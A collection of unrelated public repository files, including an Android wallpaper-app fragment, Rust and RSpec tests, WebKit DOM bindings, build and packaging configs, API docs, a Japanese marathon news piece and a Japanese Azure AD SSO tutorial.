private static final int MSG_SAVE_BUTTON_CLICKED = 130;
private static final int MSG_PAGE_RECEIVED = 131;
private static final String STATE_IMAGES = "com.musenkishi.wally.RandomImagesFragment.Images";
private static final String STATE_CURRENT_PAGE = "com.musenkishi.wally.RandomImagesFragment.Current.Page";
private boolean isLoading;
private Handler backgroundHandler;
private Handler uiHandler;
private HashMap<String, Boolean> savedFiles;
private SwipeClearLayout swipeClearLayout;
private int currentPage = 1;
/**
* Returns a new instance of this fragment for the given section
* number.
*/
public static RandomImagesFragment newInstance() {
RandomImagesFragment fragment = new RandomImagesFragment();
Bundle args = new Bundle();
fragment.setArguments(args);
return fragment;
}
public RandomImagesFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setHasOptionsMenu(true);
setActionBarColor(getResources().getColor(R.color.Actionbar_Random_Background));
setupHandlers();
getActivity().sendBroadcast(new Intent(FileReceiver.GET_FILES));
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, final Bundle savedInstanceState) {
ViewGroup rootView = (ViewGroup) inflater.inflate(R.layout.fragment_main_swiperefresh, container, false);
if (rootView != null) {
super.onCreateView(rootView);
gridView = (AutoGridView) rootView.findViewById(R.id.listview);
swipeClearLayout = (SwipeClearLayout) rootView.findViewById(R.id.swipe_container);
swipeClearLayout.setOnRefreshListener(this);
swipeClearLayout.setOnSwipeListener(this);
swipeClearLayout.setCircleColor(getAppBarColor());
final ProgressBar progressBar = (ProgressBar) inflater.inflate(
R.layout.view_custom_progressbar, swipeClearLayout,
false
);
swipeClearLayout.setProgressBar(progressBar);
setupAutoSizeGridView();
if (savedInstanceState != null && savedInstanceState.containsKey(STATE_IMAGES)){
Message msgObj = uiHandler.obtainMessage();
msgObj.what = MSG_IMAGES_REQUEST_CREATE;
msgObj.arg1 = 1;
msgObj.obj = savedInstanceState.getParcelableArrayList(STATE_IMAGES);
uiHandler.sendMessage(msgObj);
currentPage = savedInstanceState.getInt(STATE_CURRENT_PAGE);
} else {
showLoader();
getImages(1, null);
}
((MainActivity) getActivity()).addOnFileChangedListener(this);
((MainActivity) getActivity()).addOnFiltersChangedListener(this);
}
return rootView;
}
@Override
public void onSaveInstanceState(Bundle outState) {
if (imagesAdapter != null) {
outState.putParcelableArrayList(STATE_IMAGES, imagesAdapter.getImages());
outState.putInt(STATE_CURRENT_PAGE, currentPage);
}
super.onSaveInstanceState(outState);
}
@Override
public void onDestroy() {
super.onDestroy();
backgroundHandler.removeCallbacksAndMessages(null);
uiHandler.removeCallbacksAndMessages(null);
backgroundHandler.getLooper().quit();
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
gridView.setClipToPadding(false);
setInsets(getActivity(), gridView, false, 0, view.getResources().getDimensionPixelSize(R.dimen.gridview_bottom_padding));
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
inflater.inflate(R.menu.images_random, menu);
MenuItem menuItemRefresh = menu.findItem(R.id.action_refresh);
if (menuItemRefresh != null) {
menuItemRefresh.setOnMenuItemClickListener(new MenuItem.OnMenuItemClickListener() {
@Override
public boolean onMenuItemClick(MenuItem item) {
showLoader();
onRefresh();
return false;
}
});
}
MenuItem menuItemFilter = menu.findItem(R.id.action_filter);
if (menuItemFilter != null) {
menuItemFilter.setOnMenuItemClickListener(new MenuItem.OnMenuItemClickListener() {
@Override
public boolean onMenuItemClick(MenuItem item) {
FragmentManager fragmentManager = getFragmentManager();
if (fragmentManager != null) {
final FilterDialogFragment filterDialogFragment = new FilterDialogFragment();
filterDialogFragment.setPrimaryColor(getAppBarColor());
filterDialogFragment.setPositiveButton(R.string.submit, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
if (filterDialogFragment.saveChanges()) {
WallyApplication.getContext().sendBroadcast(new Intent(FiltersChangeReceiver.FILTERS_CHANGED));
}
}
});
filterDialogFragment.setNegativeButton(R.string.cancel, null);
filterDialogFragment.show(fragmentManager, FilterDialogFragment.TAG);
}
return false;
}
});
}
super.onCreateOptionsMenu(menu, inflater);
}
@Override
protected void showLoader() {
swipeClearLayout.setEnabled(false);
swipeClearLayout.setRefreshing(true);
}
@Override
protected void hideLoader() {
swipeClearLayout.setRefreshing(false);
swipeClearLayout.setEnabled(true);
}
private void setupHandlers() {
HandlerThread handlerThread = new HandlerThread("RandomImages.background");
handlerThread.start();
backgroundHandler = new Handler(handlerThread.getLooper(), this);
uiHandler = new Handler(getActivity().getMainLooper(), this);
}
@Override
protected void getImages(int index, String query) {
currentPage = index;
isLoading = true;
Message msgGetImages = backgroundHandler.obtainMessage();
msgGetImages.what = MSG_GET_IMAGES;
msgGetImages.arg1 = index;
if (!backgroundHandler.hasMessages(msgGetImages.what)) {
backgroundHandler.sendMessage(msgGetImages);
}
}
private void showError(DataProviderError dataProviderError, int index) {
Message msgObj = uiHandler.obtainMessage();
msgObj.what = MSG_ERROR_IMAGE_REQUEST;
msgObj.obj = dataProviderError;
msgObj.arg1 = index;
uiHandler.sendMessageDelayed(msgObj, 1000);
}
@Override
public void onSaveButtonClicked(final Image image) {
Message msgSaveButton = backgroundHandler.obtainMessage();
msgSaveButton.what = MSG_SAVE_BUTTON_CLICKED;
msgSaveButton.obj = image;
backgroundHandler.sendMessage(msgSaveButton);
}
@Override
public boolean handleMessage(Message msg) {
switch (msg.what) {
case MSG_GET_IMAGES:
final int index = msg.arg1;
WallyApplication.getDataProviderInstance().getImages(NetworkDataProvider.PATH_RANDOM, index, WallyApplication.getFilterSettings(), new DataProvider.OnImagesReceivedListener() {
@Override
public void onImagesReceived(ArrayList<Image> images) {
Message msgObj = uiHandler.obtainMessage();
msgObj.what = index == 1 ? MSG_IMAGES_REQUEST_CREATE : MSG_IMAGES_REQUEST_APPEND;
msgObj.obj = images;
uiHandler.sendMessage(msgObj);
}
@Override
public void onError(DataProviderError dataProviderError) {
showError(dataProviderError, index);
}
});
break;
case MSG_SAVE_BUTTON_CLICKED:
Image image = (Image) msg.obj;
WallyApplication.getDataProviderInstance().getPageData(image.imagePageURL(), new DataProvider.OnPageReceivedListener() {
@Override
public void onPageReceived(ImagePage imagePage) {
Message msgImagePage = uiHandler.obtainMessage();
msgImagePage.what = MSG_PAGE_RECEIVED;
msgImagePage.obj = imagePage;
uiHandler.sendMessage(msgImagePage);
}
@Override
public void onError(DataProviderError dataProviderError) {
Message msgObj = uiHandler.obtainMessage();
msgObj.what = MSG_ERROR_IMAGE_SAVING;
msgObj.obj = dataProviderError;
uiHandler.sendMessage(msgObj);
}
});
break;
case MSG_PAGE_RECEIVED:
ImagePage imagePage = (ImagePage) msg.obj;
if (imagePage != null) {
SaveImageRequest saveImageRequest = WallyApplication.getDataProviderInstance().downloadImageIfNeeded(
imagePage.imagePath(),
imagePage.imageId(),
getResources().getString(R.string.notification_title_image_saving));
if (saveImageRequest.getDownloadID() != null && getActivity() instanceof MainActivity){
WallyApplication.getDownloadIDs().put(saveImageRequest.getDownloadID(), imagePage.imageId());
} else {
getActivity().sendBroadcast(new Intent(FileReceiver.GET_FILES));
}
}
break;
case MSG_ERROR_IMAGE_REQUEST:
if (getActivity() != null) {
DataProviderError dataProviderError = (DataProviderError) msg.obj;
int imagesIndex = msg.arg1;
showErrorMessage(dataProviderError, imagesIndex);
}
break;
case MSG_ERROR_IMAGE_SAVING:
if (getActivity() != null) {
NotificationProvider notificationProvider = new NotificationProvider();
notificationProvider.cancelAll(getActivity());
Toast.makeText(getActivity(), "Couldn't save image", Toast.LENGTH_SHORT).show();
}
break;
case MSG_IMAGES_REQUEST_CREATE:
ArrayList<Image> images = (ArrayList<Image>) msg.obj;
boolean shouldScheduleLayoutAnimation = msg.arg1 == 0;
isLoading = false;
if (images != null) {
hideLoader();
imagesAdapter = new RecyclerImagesAdapter(images, itemSize);
imagesAdapter.setOnSaveButtonClickedListener(RandomImagesFragment.this);
imagesAdapter.updateSavedFilesList(savedFiles);
gridView.setAdapter(imagesAdapter);
setupAdapter();
if (shouldScheduleLayoutAnimation) {
gridView.scheduleLayoutAnimation();
}
}
break;
case MSG_IMAGES_REQUEST_APPEND:
ArrayList<Image> extraImages = (ArrayList<Image>) msg.obj;
isLoading = false;
if (extraImages != null) {
hideLoader();
int endPosition = imagesAdapter.getItemCount();
ArrayList<Image> currentList = imagesAdapter.getImages();
currentList.addAll(extraImages);
imagesAdapter.notifyItemRangeInserted(endPosition, extraImages.size());
}
break;
case MSG_SAVE_LIST_OF_SAVED_IMAGES:
savedFiles = (HashMap<String, Boolean>) msg.obj;
if (imagesAdapter != null) {
imagesAdapter.updateSavedFilesList(savedFiles);
imagesAdapter.notifySavedItemsChanged();
}
break;
}
return false;
}
private void setupAdapter() {
imagesAdapter.setOnGetViewListener(new RecyclerImagesAdapter.OnGetViewListener() {
@Override
public void onBindView(int position) {
int defaultNumberOfItemsPerPage = NetworkDataProvider.THUMBS_PER_PAGE;
boolean shouldLoadMore = position >= imagesAdapter.getItemCount() - (defaultNumberOfItemsPerPage / 2);
if (shouldLoadMore && !isLoading && imagesAdapter.getItemCount() > 0) {
getImages(++currentPage, null);
}
}
});
imagesAdapter.setOnItemClickListener(new RecyclerImagesAdapter.OnItemClickListener() {
@Override
public void onItemClick(View view, int position) {
Image image = (Image) imagesAdapter.getItem(position);
Intent intent = new Intent(Intent.ACTION_VIEW,
Uri.parse(image.imagePageURL()),
view.getContext(),
ImageDetailsActivity.class);
ImageView thumbnailImageView = (ImageView) view.findViewById(R.id.thumb_image_view);
Bitmap thumb = null;
intent.putExtra(ImageDetailsActivity.INTENT_EXTRA_IMAGE, image);
if (thumbnailImageView != null && thumbnailImageView.getDrawable() != null
&& thumbnailImageView.getDrawable() instanceof GlideBitmapDrawable) {
GlideBitmapDrawable glideBitmapDrawable = (GlideBitmapDrawable) thumbnailImageView.getDrawable();
thumb = glideBitmapDrawable.getBitmap();
} else if (thumbnailImageView != null && thumbnailImageView.getDrawable() != null
&& thumbnailImageView.getDrawable() instanceof TransitionDrawable) {
GlideBitmapDrawable squaringDrawable = (GlideBitmapDrawable) ((TransitionDrawable) thumbnailImageView.getDrawable()).getDrawable(1);
thumb = squaringDrawable.getBitmap();
}
WallyApplication.setBitmapThumb(thumb);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
String transitionNameImage = getString(R.string.transition_image_details);
ActivityOptionsCompat options =
ActivityOptionsCompat.makeSceneTransitionAnimation(getActivity(),
android.support.v4.util.Pair.create(view.findViewById(R.id.thumb_image_view), transitionNameImage)
);
ActivityCompat.startActivityForResult(getActivity(), intent, ImageDetailsActivity.REQUEST_EXTRA_TAG, options.toBundle());
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
view.buildDrawingCache(true);
Bitmap drawingCache = view.getDrawingCache(true);
Bundle bundle = ActivityOptions.makeThumbnailScaleUpAnimation(view, drawingCache, 0, 0).toBundle();
getActivity().startActivityForResult(intent, REQUEST_CODE, bundle);
} else {
startActivityForResult(intent, REQUEST_CODE);
}
}
});
}
@Override
public void onRefresh() {
getImages(1, null);
}
@Override
public void onFiltersChange() {
showLoader();
onRefresh();
}
@Override
public void onSwipe(int progress, int pixels) {
}
@Override
public void onFileChange(Map<String, Boolean> existingFiles) {
Message fileListMessage = uiHandler.obtainMessage();
fileListMessage.obj = existingFiles;
fileListMessage.what = MSG_SAVE_LIST_OF_SAVED_IMAGES;
uiHandler.sendMessage(fileListMessage);
}
} | {
"pile_set_name": "Github"
} |
// run-pass
// Test overloading of the `[]` operator. In particular test that it
// takes its argument *by reference*.
use std::ops::Index;
struct AssociationList<K,V> {
pairs: Vec<AssociationPair<K,V>> }
#[derive(Clone)]
struct AssociationPair<K,V> {
key: K,
value: V
}
impl<K,V> AssociationList<K,V> {
fn push(&mut self, key: K, value: V) {
self.pairs.push(AssociationPair {key: key, value: value});
}
}
impl<'a, K: PartialEq + std::fmt::Debug, V:Clone> Index<&'a K> for AssociationList<K,V> {
type Output = V;
fn index(&self, index: &K) -> &V {
for pair in &self.pairs {
if pair.key == *index {
return &pair.value
}
}
panic!("No value found for key: {:?}", index);
}
}
pub fn main() {
let foo = "foo".to_string();
let bar = "bar".to_string();
let mut list = AssociationList {pairs: Vec::new()};
list.push(foo.clone(), 22);
list.push(bar.clone(), 44);
assert_eq!(list[&foo], 22);
assert_eq!(list[&bar], 44);
assert_eq!(list[&foo], 22);
assert_eq!(list[&bar], 44);
}
| {
"pile_set_name": "Github"
} |
◇はら・ゆみこ
◆大阪国際女子マラソン 走れるって喜び 鮮烈デビュー暗転、けが続き1年半辛酸
マラソンデビューとなった2005年名古屋国際の走りは衝撃的だった。苦痛に顔をゆがめながらも、軽快なピッチ走法で2時間24分19秒の好記録をマークし、初マラソンで優勝。勢いに乗って、夏の世界選手権ヘルシンキ大会は日本選手最高位の6位入賞を果たした。まさか、その後、1年半近くも、マラソンを走れなくなるとは、本人も予想していなかった。
ヘルシンキ大会前に痛めた右足かかとから始まり、くるぶしも故障、さらに右足甲に3か所の疲労骨折が判明した。痛みが引き練習を再開したら、再発する繰り返し。ヘルシンキでは10キロ付近で引き離されたとはいえ、優勝したポーラ・ラドクリフ(英)に勝負を挑んだ。それだけに「夢が目標に近づいた感じがあったのに、それがどんどん遠ざかってしまって悔しかった。『何で走れないのか』とイライラした」。
昨秋からようやく継続的な練習ができるようになった。足慣らしの駅伝では本来の走りができず、悔しい思いもしたが、その分、大阪にかける思いは強い。「結果を出すことで(お世話になった人への)感謝の気持ちを表したい」。年末から約1か月の中国・昆明合宿も「気持ちよくできた」と充実したトレーニングをこなせたようだ。
「世界選手権に出て前(6位)より上を目指したい。できればメダルを狙いたい」と前向きな姿勢も取り戻した。「走る喜びを感じている。レースが楽しみ」と、気負いなく話す25歳は、初めて挑む大阪で、再びアグレッシブな走りを見せる覚悟を決めている。(新宮広万)
写真=(上)名古屋国際女子マラソンでは初優勝を飾った(2005年3月)(下)1年半ぶりのマラソンに挑む原
| {
"pile_set_name": "Github"
} |
name = "DrWatson"
uuid = "634d3b9d-ee7a-5ddf-bec9-22491ea816e1"
repo = "https://github.com/JuliaDynamics/DrWatson.jl.git"
| {
"pile_set_name": "Github"
} |
require 'spec_helper'
describe Searchlight::Search do
let(:raw_options) {
{
title_like: "Mere Christianity",
"author_name_like" => "Lew",
category_in: nil,
tags: ["", "fancy"],
book_thickness: "smallish",
parts_about_lolcats: "",
}
}
let(:search) { BookSearch.new(raw_options) }
describe "initialization" do
it "doesn't require options" do
expect(BookSearch.new.results).to eq(BookSearch.new({}).results)
end
it "blows up if there is a string/symbol key conflict" do
expect {
described_class.new(a: 1, "a" => 2)
}.to raise_error(
ArgumentError, %Q{more than one key converts to these string values: ["a"]}
)
end
end
describe "parsing options" do
it "makes the raw options available" do
expect(search.raw_options).to equal(raw_options)
end
it "returns only useful values as `options`" do
expect(search.options).to eq(
title_like: "Mere Christianity",
"author_name_like" => "Lew",
book_thickness: "smallish",
in_print: "either",
tags: ["fancy"],
)
end
it "knows which of the `options` have matching search_ methods" do
expect(search.options_with_search_methods).to eq(
title_like: "search_title_like",
"author_name_like" => "search_author_name_like",
in_print: "search_in_print",
)
end
end
describe "option readers" do
it "has an option reader method for each search method, which can read strings or symbols" do
expect(search.author_name_like).to eq("Lew")
expect(search.title_like).to eq("Mere Christianity")
expect(search.board_book).to eq(nil)
expect{search.book_thickness}.to raise_error(NoMethodError)
expect{search.not_an_option}.to raise_error(NoMethodError)
end
end
describe "querying" do
it "builds results by running all methods matching its options" do
expect(search).to receive(:search_title_like).and_call_original
expect(search).to receive(:search_author_name_like).and_call_original
expect(search.results.called_methods).to eq([:all, :order, :merge, :joins, :merge])
end
it "only runs the search once" do
expect(search).to receive(:run).once.and_call_original
2.times { search.results }
end
end
it "has an 'explain' method to show how it builds its query" do
expect(search.explain).to eq(
%Q{
Initialized with `raw_options`: [:title_like, "author_name_like", :category_in, :tags, :book_thickness, :parts_about_lolcats]
Of those, the non-blank ones are available as `options`: [:title_like, "author_name_like", :tags, :book_thickness, :in_print]
Of those, the following have corresponding `search_` methods: [:title_like, "author_name_like", :in_print]. These would be used to build the query.
Blank options are: [:category_in, :parts_about_lolcats]
Non-blank options with no corresponding `search_` method are: [:tags, :book_thickness]
}.strip
)
end
end
| {
"pile_set_name": "Github"
} |
Source: openrct2
Maintainer: Michał Janiszewski <[email protected]>
Section: misc
Priority: optional
Standards-Version: 3.9.2
Multi-Arch: same
Build-Depends: debhelper (>= 9), cmake (>= 3.8), duktape-dev, libsdl2-dev, g++ (>= 4:7), pkg-config, nlohmann-json3-dev (>= 3.6.0), libspeex-dev, libspeexdsp-dev, libcurl4-openssl-dev, libcrypto++-dev, libfontconfig1-dev, libfreetype6-dev, libpng-dev, libssl-dev, libzip-dev (>= 1.0.0), libicu-dev (>= 59.0)
Package: openrct2
Architecture: any
Homepage: https://openrct2.io/
Vcs-Browser: https://github.com/OpenRCT2/OpenRCT2
Vcs-Git: https://github.com/OpenRCT2/OpenRCT2
Depends: ${shlibs:Depends}, ${misc:Depends}
Description: An open source re-implementation of Roller Coaster Tycoon 2.
An open source clone of RollerCoaster Tycoon 2 built by decompiling the
original game one bit at a time.
Requires original game assets.
| {
"pile_set_name": "Github"
} |
var config = require('../config')
var gulp = require('gulp')
var gulpSequence = require('gulp-sequence')
var getEnabledTasks = require('../lib/getEnabledTasks')
var productionTask = function(cb) {
global.production = true
var tasks = getEnabledTasks('production')
gulpSequence('clean', tasks.assetTasks, tasks.codeTasks, config.tasks.production.rev ? 'rev': false, 'size-report', 'static', cb)
}
gulp.task('production', productionTask)
module.exports = productionTask
| {
"pile_set_name": "Github"
} |
<!-- Do not edit this file. It is automatically generated by API Documenter. -->
[Home](./index.md) > [puppeteer](./puppeteer.md) > [Protocol](./puppeteer.protocol.md) > [Emulation](./puppeteer.protocol.emulation.md) > [SetDeviceMetricsOverrideRequest](./puppeteer.protocol.emulation.setdevicemetricsoverriderequest.md) > [screenHeight](./puppeteer.protocol.emulation.setdevicemetricsoverriderequest.screenheight.md)
## Protocol.Emulation.SetDeviceMetricsOverrideRequest.screenHeight property
Overriding screen height value in pixels (minimum 0, maximum 10000000).
<b>Signature:</b>
```typescript
screenHeight?: integer;
```
| {
"pile_set_name": "Github"
} |
/*
This file is part of the WebKit open source project.
This file has been generated by generate-bindings.pl. DO NOT MODIFY!
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "config.h"
#include "JSAttr.h"
#include "Attr.h"
#include "CSSMutableStyleDeclaration.h"
#include "CSSStyleDeclaration.h"
#include "Element.h"
#include "JSCSSStyleDeclaration.h"
#include "JSElement.h"
#include "KURL.h"
#include <wtf/GetPtr.h>
using namespace JSC;
namespace WebCore {
ASSERT_CLASS_FITS_IN_CELL(JSAttr);
/* Hash table */
static const HashTableValue JSAttrTableValues[7] =
{
{ "name", DontDelete|ReadOnly, (intptr_t)jsAttrName, (intptr_t)0 },
{ "specified", DontDelete|ReadOnly, (intptr_t)jsAttrSpecified, (intptr_t)0 },
{ "value", DontDelete, (intptr_t)jsAttrValue, (intptr_t)setJSAttrValue },
{ "ownerElement", DontDelete|ReadOnly, (intptr_t)jsAttrOwnerElement, (intptr_t)0 },
{ "style", DontDelete|ReadOnly, (intptr_t)jsAttrStyle, (intptr_t)0 },
{ "constructor", DontEnum|ReadOnly, (intptr_t)jsAttrConstructor, (intptr_t)0 },
{ 0, 0, 0, 0 }
};
static JSC_CONST_HASHTABLE HashTable JSAttrTable =
#if ENABLE(PERFECT_HASH_SIZE)
{ 127, JSAttrTableValues, 0 };
#else
{ 18, 15, JSAttrTableValues, 0 };
#endif
/* Hash table for constructor */
static const HashTableValue JSAttrConstructorTableValues[1] =
{
{ 0, 0, 0, 0 }
};
static JSC_CONST_HASHTABLE HashTable JSAttrConstructorTable =
#if ENABLE(PERFECT_HASH_SIZE)
{ 0, JSAttrConstructorTableValues, 0 };
#else
{ 1, 0, JSAttrConstructorTableValues, 0 };
#endif
class JSAttrConstructor : public DOMConstructorObject {
public:
JSAttrConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
: DOMConstructorObject(JSAttrConstructor::createStructure(globalObject->objectPrototype()), globalObject)
{
putDirect(exec->propertyNames().prototype, JSAttrPrototype::self(exec, globalObject), None);
}
virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
virtual const ClassInfo* classInfo() const { return &s_info; }
static const ClassInfo s_info;
static PassRefPtr<Structure> createStructure(JSValue proto)
{
return Structure::create(proto, TypeInfo(ObjectType, StructureFlags));
}
protected:
static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
};
const ClassInfo JSAttrConstructor::s_info = { "AttrConstructor", 0, &JSAttrConstructorTable, 0 };
bool JSAttrConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticValueSlot<JSAttrConstructor, DOMObject>(exec, &JSAttrConstructorTable, this, propertyName, slot);
}
bool JSAttrConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticValueDescriptor<JSAttrConstructor, DOMObject>(exec, &JSAttrConstructorTable, this, propertyName, descriptor);
}
/* Hash table for prototype */
static const HashTableValue JSAttrPrototypeTableValues[1] =
{
{ 0, 0, 0, 0 }
};
static JSC_CONST_HASHTABLE HashTable JSAttrPrototypeTable =
#if ENABLE(PERFECT_HASH_SIZE)
{ 0, JSAttrPrototypeTableValues, 0 };
#else
{ 1, 0, JSAttrPrototypeTableValues, 0 };
#endif
const ClassInfo JSAttrPrototype::s_info = { "AttrPrototype", 0, &JSAttrPrototypeTable, 0 };
JSObject* JSAttrPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMPrototype<JSAttr>(exec, globalObject);
}
const ClassInfo JSAttr::s_info = { "Attr", &JSNode::s_info, &JSAttrTable, 0 };
JSAttr::JSAttr(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<Attr> impl)
: JSNode(structure, globalObject, impl)
{
}
JSObject* JSAttr::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
{
return new (exec) JSAttrPrototype(JSAttrPrototype::createStructure(JSNodePrototype::self(exec, globalObject)));
}
bool JSAttr::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticValueSlot<JSAttr, Base>(exec, &JSAttrTable, this, propertyName, slot);
}
bool JSAttr::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticValueDescriptor<JSAttr, Base>(exec, &JSAttrTable, this, propertyName, descriptor);
}
JSValue jsAttrName(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
Attr* imp = static_cast<Attr*>(castedThis->impl());
return jsStringOrNull(exec, imp->name());
}
JSValue jsAttrSpecified(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
Attr* imp = static_cast<Attr*>(castedThis->impl());
return jsBoolean(imp->specified());
}
JSValue jsAttrValue(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
Attr* imp = static_cast<Attr*>(castedThis->impl());
return jsStringOrNull(exec, imp->value());
}
JSValue jsAttrOwnerElement(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
Attr* imp = static_cast<Attr*>(castedThis->impl());
return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->ownerElement()));
}
JSValue jsAttrStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* castedThis = static_cast<JSAttr*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
Attr* imp = static_cast<Attr*>(castedThis->impl());
return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
}
JSValue jsAttrConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSAttr* domObject = static_cast<JSAttr*>(asObject(slot.slotBase()));
return JSAttr::getConstructor(exec, domObject->globalObject());
}
void JSAttr::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
{
lookupPut<JSAttr, Base>(exec, propertyName, value, &JSAttrTable, this, slot);
}
void setJSAttrValue(ExecState* exec, JSObject* thisObject, JSValue value)
{
static_cast<JSAttr*>(thisObject)->setValue(exec, value);
}
JSValue JSAttr::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMConstructor<JSAttrConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
}
Attr* toAttr(JSC::JSValue value)
{
return value.inherits(&JSAttr::s_info) ? static_cast<JSAttr*>(asObject(value))->impl() : 0;
}
}
| {
"pile_set_name": "Github"
} |
---
title: チュートリアル:Azure Active Directory シングル サインオン (SSO) と Skills Workflow の統合 | Microsoft Docs
description: Azure Active Directory と Skills Workflow の間でシングル サインオンを構成する方法について説明します。
services: active-directory
author: jeevansd
manager: CelesteDG
ms.reviewer: celested
ms.service: active-directory
ms.subservice: saas-app-tutorial
ms.workload: identity
ms.topic: tutorial
ms.date: 03/16/2020
ms.author: jeedes
ms.openlocfilehash: c98a361169f489724209ebb39951f6dd543cf01b
ms.sourcegitcommit: 023d10b4127f50f301995d44f2b4499cbcffb8fc
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 08/18/2020
ms.locfileid: "88543008"
---
# <a name="tutorial-azure-active-directory-single-sign-on-sso-integration-with-skills-workflow"></a>チュートリアル:Azure Active Directory シングル サインオン (SSO) と Skills Workflow の統合
このチュートリアルでは、Skills Workflow と Azure Active Directory (Azure AD) を統合する方法について説明します。 Azure AD と Skills Workflow を統合すると、次のことができます。
* Skills Workflow にアクセスできるユーザーを Azure AD で制御する。
* ユーザーが自分の Azure AD アカウントを使用して Skills Workflow に自動的にサインインできるようにする。
* 1 つの中央サイト (Azure Portal) で自分のアカウントを管理します。
SaaS アプリと Azure AD の統合の詳細については、「[Azure Active Directory でのアプリケーションへのシングル サインオン](https://docs.microsoft.com/azure/active-directory/manage-apps/what-is-single-sign-on)」を参照してください。
## <a name="prerequisites"></a>前提条件
開始するには、次が必要です。
* Azure AD サブスクリプション。 サブスクリプションがない場合は、[無料アカウント](https://azure.microsoft.com/free/)を取得できます。
* Skills Workflow でのシングル サインオン (SSO) が有効なサブスクリプション。
## <a name="scenario-description"></a>シナリオの説明
このチュートリアルでは、テスト環境で Azure AD の SSO を構成してテストします。
* Skills Workflow では、**SP** Initiated SSO がサポートされます
* Skills Workflow を構成したら、組織の機密データを流出と侵入からリアルタイムで保護するセッション制御を適用することができます。 セッション制御は、条件付きアクセスを拡張したものです。 [Microsoft Cloud App Security でセッション制御を強制する方法](https://docs.microsoft.com/cloud-app-security/proxy-deployment-any-app)をご覧ください。
## <a name="adding-skills-workflow-from-the-gallery"></a>ギャラリーからの Skills Workflow の追加
Azure AD への Skills Workflow の統合を構成するには、ギャラリーからマネージド SaaS アプリの一覧に Skills Workflow を追加する必要があります。
1. 職場または学校アカウントか、個人の Microsoft アカウントを使用して、[Azure portal](https://portal.azure.com) にサインインします。
1. 左のナビゲーション ウィンドウで **[Azure Active Directory]** サービスを選択します。
1. **[エンタープライズ アプリケーション]** に移動し、 **[すべてのアプリケーション]** を選択します。
1. 新しいアプリケーションを追加するには、 **[新しいアプリケーション]** を選択します。
1. **[ギャラリーから追加する]** セクションで、検索ボックスに「**Skills Workflow**」と入力します。
1. 結果のパネルから **[Skills Workflow]** を選択し、そのアプリを追加します。 お使いのテナントにアプリが追加されるのを数秒待機します。
## <a name="configure-and-test-azure-ad-single-sign-on-for-skills-workflow"></a>Skills Workflow の Azure AD シングル サインオンの構成とテスト
**B.Simon** というテスト ユーザーを使用して、Skills Workflow に対する Azure AD SSO を構成してテストします。 SSO を機能させるためには、Azure AD ユーザーと Skills Workflow の関連ユーザーとの間にリンク関係を確立する必要があります。
Skills Workflow で Azure AD SSO を構成してテストするには、次の構成要素を完了します。
1. **[Azure AD SSO の構成](#configure-azure-ad-sso)** - ユーザーがこの機能を使用できるようにします。
* **[Azure AD のテスト ユーザーの作成](#create-an-azure-ad-test-user)** - B.Simon で Azure AD のシングル サインオンをテストします。
* **[Azure AD テスト ユーザーの割り当て](#assign-the-azure-ad-test-user)** - B.Simon が Azure AD シングル サインオンを使用できるようにします。
1. **[Skills Workflow SSO の構成](#configure-skills-workflow-sso)** - アプリケーション側でシングル サインオン設定を構成します。
* **[Skills Workflow のテスト ユーザーの作成](#create-skills-workflow-test-user)** - Skills Workflow で B.Simon に対応するユーザーを作成し、Azure AD の B.Simon にリンクさせます。
1. **[SSO のテスト](#test-sso)** - 構成が機能するかどうかを確認します。
## <a name="configure-azure-ad-sso"></a>Azure AD SSO の構成
